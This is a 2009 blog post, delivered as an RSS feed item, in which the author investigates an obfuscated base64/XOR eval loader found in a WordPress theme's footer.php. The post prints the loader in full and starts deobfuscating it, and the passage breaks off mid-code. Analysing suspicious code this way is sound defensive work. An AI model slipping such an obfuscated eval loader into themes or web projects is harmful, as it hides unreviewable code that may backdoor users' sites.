<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Kalimat al-Mutafalsif &#187; Cryptography</title>
	<atom:link href="http://thesnarky.com/category/cryptography/feed/" rel="self" type="application/rss+xml" />
	<link>http://thesnarky.com</link>
	<description>The Words of the One Who Calls Himself a Philosopher</description>
	<lastBuildDate>Mon, 24 May 2010 21:25:03 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Evil Eval()</title>
		<link>http://thesnarky.com/2009/06/04/evil-eval/</link>
		<comments>http://thesnarky.com/2009/06/04/evil-eval/#comments</comments>
		<pubDate>Thu, 04 Jun 2009 22:14:12 +0000</pubDate>
		<dc:creator>Snarky</dc:creator>
				<category><![CDATA[Annoyances]]></category>
		<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Stupidity]]></category>

		<guid isPermaLink="false">http://thesnarky.com/?p=301</guid>
		<description><![CDATA[I just threw the new theme on my website and was poking around making tweaks this afternoon. I wanted slightly different colors, wanted to make the picture look cooler, maybe edit the footer to change the whole "Made by" to me, and give credit for being based on the theme I based it on. However, [...]]]></description>
			<content:encoded><![CDATA[<p>I just threw the <a href="http://thesnarky.com/2009/05/27/new-theme/">new theme</a> on my website and was poking around making tweaks this afternoon. I wanted slightly different colors, wanted to make the picture look cooler, maybe edit the footer to change the whole "Made by" to me, and give credit for being based on the theme I based it on. However, upon opening the footer.php, I found a very weird comment:</p>
<pre class="php">&nbsp;
<span style="color: #808080; font-style: italic;">/* V8 - WARNING: This file is protected by copyright law.
To reverse engineer or decode this file is strictly prohibited. */</span>
&nbsp;</pre>
<p>Well that's weird, because in the style.css we read:</p>
<pre lang='php'>
/*The CSS, XHTML and design is released under GPL*/
</pre>
<p>(Side note, if you don't know what we mean by GPL, check out <a href="http://www.gnu.org/copyleft/gpl.html">their site</a>.)</p>
<p>No, they don't say PHP in there, however I read that (because 'design' is included) as "This theme is GPL'd". Poking around their <a href="http://www.themespack.com/">website</a>, I see no mention that you're required to keep any part of the theme the same.</p>
<p>If we read past the warning about reverse engineering, we see why they included it, a nasty big base64 encoded blob, then an eval command. Pastebin paste is <a href="http://pastebin.com/f77bda50">here</a>.</p>
<p>This piqued my interest, as I can think of very few legitimate reasons to do such obfuscation, or why there should be so much (footer.php is 47kb!). My initial thought was that I'd opened a backdoor into my site, with lesser thoughts to them being able to push random stuff into my footer (the last way I was infected), and finally just trying to control the links on the bottom of the page so that even if I were to edit their theme (as is my right under the GPL) I couldn't take credit for it myself, they'd always have credit for it. None of those sat right with me, so I hit up the local IRC channel, and we started puzzling.</p>
<p><span id="more-301"></span></p>
<p>First I base64_decode'd the garbage that was being run from the eval command (and yes, its gonna overflow the line by a LOT):</p>
<pre class="php">&nbsp;
<span style="color: #0000ff;">$lll</span>=<span style="color: #cc66cc;">0</span>;eval<span style="color: #66cc66;">&#40;</span><a href="http://www.php.net/base64_decode"><span style="color: #000066;">base64_decode</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;JGxsbGxsbGxsbGxsPSdiYXNlNjRfZGVjb2RlJzs=&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #0000ff;">$ll</span>=<span style="color: #cc66cc;">0</span>;eval<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;JGxsbGxsbGxsbGw9J29yZCc7&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #0000ff;">$llll</span>=<span style="color: #cc66cc;">0</span>;<span style="color: #0000ff;">$lllll</span>=<span style="color: #cc66cc;">3</span>;eval<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;JGw9JGxsbGxsbGxsbGxsKCRvKTs=&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #0000ff;">$lllllll</span>=<span style="color: #cc66cc;">0</span>;<span style="color: #0000ff;">$llllll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">8</span><span style="color: #66cc66;">&#41;</span>+<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;eval<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;JGxsbGxsbGxsbGxsbGw9J3N0cmxlbic7&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #0000ff;">$lllllllll</span>=<span style="color: #cc66cc;">16</span>;<span style="color: #0000ff;">$llllllll</span>=<span style="color: #ff0000;">&quot;&quot;</span>;for<span style="color: #66cc66;">&#40;</span>;<span style="color: #0000ff;">$lllll</span>&lt;<span style="color: #0000ff;">$lllllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span><span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllll</span>==<span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span><span style="color: #0000ff;">$llllll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">8</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #0000ff;">$llllll</span>+=<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #0000ff;">$lllllllll</span>=<span style="color: #cc66cc;">16</span>;<span style="color: #66cc66;">&#125;</span><span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllll</span>&amp;0x8000<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span><span style="color: #0000ff;">$lll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">4</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #0000ff;">$lll</span>+=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&gt;&gt;<span style="color: #cc66cc;">4</span><span style="color: #66cc66;">&#41;</span>;if<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lll</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span><span style="color: #0000ff;">$ll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&amp;0x0f<span style="color: #66cc66;">&#41;</span><span style="color: #cc66cc;">+3</span>;for<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llll</span>=<span style="color: #cc66cc;">0</span>;<span style="color: #0000ff;">$llll</span>&lt;<span style="color: #0000ff;">$ll</span>;<span style="color: #0000ff;">$llll</span>++<span style="color: #66cc66;">&#41;</span><span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllllll</span>+<span style="color: #0000ff;">$llll</span><span style="color: #66cc66;">&#93;</span>=<span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllllll</span>-<span style="color: #0000ff;">$lll</span>+<span style="color: #0000ff;">$llll</span><span style="color: #66cc66;">&#93;</span>;<span style="color: #0000ff;">$lllllll</span>+=<span style="color: #0000ff;">$ll</span>;<span style="color: #66cc66;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #66cc66;">&#123;</span><span style="color: #0000ff;">$ll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">8</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #0000ff;">$ll</span>+=<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span><span style="color: #cc66cc;">+16</span>;for<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llll</span>=<span style="color: #cc66cc;">0</span>;<span style="color: #0000ff;">$llll</span>&lt;<span style="color: #0000ff;">$ll</span>;<span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllllll</span>+<span style="color: #0000ff;">$llll</span>++<span style="color: #66cc66;">&#93;</span>=<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #0000ff;">$lllll</span>++;<span style="color: #0000ff;">$lllllll</span>+=<span style="color: #0000ff;">$ll</span>;<span style="color: #66cc66;">&#125;</span><span style="color: #66cc66;">&#125;</span>else<span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllllll</span>++<span style="color: #66cc66;">&#93;</span>=<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #0000ff;">$llllll</span>&lt;&lt;=<span style="color: #cc66cc;">1</span>;<span style="color: #0000ff;">$lllllllll</span>--;<span style="color: #66cc66;">&#125;</span><a href="http://www.php.net/eval"><span style="color: #000066;">eval</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;JGxsbGxsbGxsbGxsbD0nY2hyJzs=&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #0000ff;">$lllll</span>=<span style="color: #cc66cc;">0</span>;eval<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;JGxsbGxsbGxsbD0iPyIuJGxsbGxsbGxsbGxsbCg2Mik7&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #0000ff;">$llllllllll</span>=<span style="color: #ff0000;">&quot;&quot;</span>;for<span style="color: #66cc66;">&#40;</span>;<span style="color: #0000ff;">$lllll</span>&lt;<span style="color: #0000ff;">$lllllll</span>;<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span><span style="color: #0000ff;">$llllllllll</span>.=<span style="color: #0000ff;">$llllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span>^0x07<span style="color: #66cc66;">&#41;</span>;<span style="color: #66cc66;">&#125;</span><a href="http://www.php.net/eval"><span style="color: #000066;">eval</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;JGxsbGxsbGxsbC49JGxsbGxsbGxsbGwuJGxsbGxsbGxsbGxsbCg2MCkuIj8iOw==&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;eval<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllll</span><span style="color: #66cc66;">&#41;</span>;
&nbsp;</pre>
<p>If you want to be able to READ that:</p>
<pre class="php">&nbsp;
<span style="color: #000000; font-weight: bold;">&lt;?php</span>
    <span style="color: #0000ff;">$lll</span>=<span style="color: #cc66cc;">0</span>;
    <a href="http://www.php.net/eval"><span style="color: #000066;">eval</span></a><span style="color: #66cc66;">&#40;</span><a href="http://www.php.net/base64_decode"><span style="color: #000066;">base64_decode</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;JGxsbGxsbGxsbGxsPSdiYXNlNjRfZGVjb2RlJzs=&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
    <span style="color: #0000ff;">$ll</span>=<span style="color: #cc66cc;">0</span>;
    <a href="http://www.php.net/eval"><span style="color: #000066;">eval</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;JGxsbGxsbGxsbGw9J29yZCc7&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
    <span style="color: #0000ff;">$llll</span>=<span style="color: #cc66cc;">0</span>;
    <span style="color: #0000ff;">$lllll</span>=<span style="color: #cc66cc;">3</span>;
    <a href="http://www.php.net/eval"><span style="color: #000066;">eval</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;JGw9JGxsbGxsbGxsbGxsKCRvKTs=&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
    <span style="color: #0000ff;">$lllllll</span>=<span style="color: #cc66cc;">0</span>;
    <span style="color: #0000ff;">$llllll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">8</span><span style="color: #66cc66;">&#41;</span>+<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;
    <a href="http://www.php.net/eval"><span style="color: #000066;">eval</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;JGxsbGxsbGxsbGxsbGw9J3N0cmxlbic7&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
    <span style="color: #0000ff;">$lllllllll</span>=<span style="color: #cc66cc;">16</span>;
    <span style="color: #0000ff;">$llllllll</span>=<span style="color: #ff0000;">&quot;&quot;</span>;
    <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span>;<span style="color: #0000ff;">$lllll</span>&lt;<span style="color: #0000ff;">$lllllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
        <span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllll</span>==<span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
            <span style="color: #0000ff;">$llllll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">8</span><span style="color: #66cc66;">&#41;</span>;
            <span style="color: #0000ff;">$llllll</span>+=<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;
            <span style="color: #0000ff;">$lllllllll</span>=<span style="color: #cc66cc;">16</span>;
        <span style="color: #66cc66;">&#125;</span><span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllll</span>&amp;0x8000<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
            <span style="color: #0000ff;">$lll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">4</span><span style="color: #66cc66;">&#41;</span>;
            <span style="color: #0000ff;">$lll</span>+=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&gt;&gt;<span style="color: #cc66cc;">4</span><span style="color: #66cc66;">&#41;</span>;
            <span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lll</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
                <span style="color: #0000ff;">$ll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&amp;0x0f<span style="color: #66cc66;">&#41;</span><span style="color: #cc66cc;">+3</span>;
                <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llll</span>=<span style="color: #cc66cc;">0</span>;<span style="color: #0000ff;">$llll</span>&lt;<span style="color: #0000ff;">$ll</span>;<span style="color: #0000ff;">$llll</span>++<span style="color: #66cc66;">&#41;</span>
                    <span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllllll</span>+<span style="color: #0000ff;">$llll</span><span style="color: #66cc66;">&#93;</span>=<span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllllll</span>-<span style="color: #0000ff;">$lll</span>+<span style="color: #0000ff;">$llll</span><span style="color: #66cc66;">&#93;</span>;
                <span style="color: #0000ff;">$lllllll</span>+=<span style="color: #0000ff;">$ll</span>;
            <span style="color: #66cc66;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #66cc66;">&#123;</span>
                <span style="color: #0000ff;">$ll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">8</span><span style="color: #66cc66;">&#41;</span>;
                <span style="color: #0000ff;">$ll</span>+=<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span><span style="color: #cc66cc;">+16</span>;
                <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llll</span>=<span style="color: #cc66cc;">0</span>;
                    <span style="color: #0000ff;">$llll</span>&lt;<span style="color: #0000ff;">$ll</span>;
                    <span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllllll</span>+<span style="color: #0000ff;">$llll</span>++<span style="color: #66cc66;">&#93;</span>=<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
                <span style="color: #0000ff;">$lllll</span>++;
                <span style="color: #0000ff;">$lllllll</span>+=<span style="color: #0000ff;">$ll</span>;
            <span style="color: #66cc66;">&#125;</span>
        <span style="color: #66cc66;">&#125;</span> <span style="color: #b1b100;">else</span>
            <span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllllll</span>++<span style="color: #66cc66;">&#93;</span>=<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;
        <span style="color: #0000ff;">$llllll</span>&lt;&lt;=<span style="color: #cc66cc;">1</span>;
        <span style="color: #0000ff;">$lllllllll</span>--;
    <span style="color: #66cc66;">&#125;</span>
    <a href="http://www.php.net/eval"><span style="color: #000066;">eval</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;JGxsbGxsbGxsbGxsbD0nY2hyJzs=&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
    <span style="color: #0000ff;">$lllll</span>=<span style="color: #cc66cc;">0</span>;
    <a href="http://www.php.net/eval"><span style="color: #000066;">eval</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;JGxsbGxsbGxsbD0iPyIuJGxsbGxsbGxsbGxsbCg2Mik7&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
    <span style="color: #0000ff;">$llllllllll</span>=<span style="color: #ff0000;">&quot;&quot;</span>;
    <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span>;<span style="color: #0000ff;">$lllll</span>&lt;<span style="color: #0000ff;">$lllllll</span>;<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
        <span style="color: #0000ff;">$llllllllll</span>.=<span style="color: #0000ff;">$llllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllll</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span>^0x07<span style="color: #66cc66;">&#41;</span>;
    <span style="color: #66cc66;">&#125;</span>
    <a href="http://www.php.net/eval"><span style="color: #000066;">eval</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllllll</span><span style="color: #66cc66;">&#40;</span>
        <span style="color: #ff0000;">&quot;JGxsbGxsbGxsbC49JGxsbGxsbGxsbGwuJGxsbGxsbGxsbGxsbCg2MCkuIj8iOw==&quot;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;
    <a href="http://www.php.net/eval"><span style="color: #000066;">eval</span></a><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllll</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">?&gt;</span>
&nbsp;</pre>
<p>Wonderful, more base64 junk, and obfuscation. Yea, when was the last time you read a legitimate program that looked as the above (not in Perl). Been a while for me as well. So we went to work first by translating all the base_64 junk into english. Please note that the very first eval binds $lllllllllll to base64_decode so I've gone ahead and done that part already. I removed the eval() calls, and replaced them with the base64 translation on every line ending in //here.</p>
<pre class="php">&nbsp;
<span style="color: #000000; font-weight: bold;">&lt;?php</span>
&nbsp;
    <span style="color: #0000ff;">$lll</span>=<span style="color: #cc66cc;">0</span>;
    <span style="color: #0000ff;">$lllllllllll</span>=<span style="color: #ff0000;">'base64_decode'</span>; <span style="color: #808080; font-style: italic;">//here</span>
    <span style="color: #0000ff;">$ll</span>=<span style="color: #cc66cc;">0</span>;
    <span style="color: #0000ff;">$llllllllll</span>=<span style="color: #ff0000;">'ord'</span>;  <span style="color: #808080; font-style: italic;">//here</span>
    <span style="color: #0000ff;">$llll</span>=<span style="color: #cc66cc;">0</span>;
    <span style="color: #0000ff;">$lllll</span>=<span style="color: #cc66cc;">3</span>;
    <span style="color: #0000ff;">$l</span>=<span style="color: #0000ff;">$lllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$o</span><span style="color: #66cc66;">&#41;</span>; <span style="color: #808080; font-style: italic;">//here</span>
    <span style="color: #0000ff;">$lllllll</span>=<span style="color: #cc66cc;">0</span>;
    <span style="color: #0000ff;">$llllll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">8</span><span style="color: #66cc66;">&#41;</span>+<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;
    <span style="color: #0000ff;">$lllllllllllll</span>=<span style="color: #ff0000;">'strlen'</span>; <span style="color: #808080; font-style: italic;">//here</span>
    <span style="color: #0000ff;">$lllllllll</span>=<span style="color: #cc66cc;">16</span>;
    <span style="color: #0000ff;">$llllllll</span>=<span style="color: #ff0000;">&quot;&quot;</span>;
    <span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span>;<span style="color: #0000ff;">$lllll</span>&lt;<span style="color: #0000ff;">$lllllllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
        <span style="color: #b1b100;">if</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$lllllllll</span>==<span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span>
            <span style="color: #0000ff;">$llllll</span>=<span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>&lt;&lt;<span style="color: #cc66cc;">8</span><span style="color: #66cc66;">&#41;</span>;
            <span style="color: #0000ff;">$llllll</span>+=<span style="color: #0000ff;">$llllllllll</span><span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$l</span><span style="color: #66cc66;">&#91;</span><span style="color: #0000ff;">$lllll</span>++<span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>;
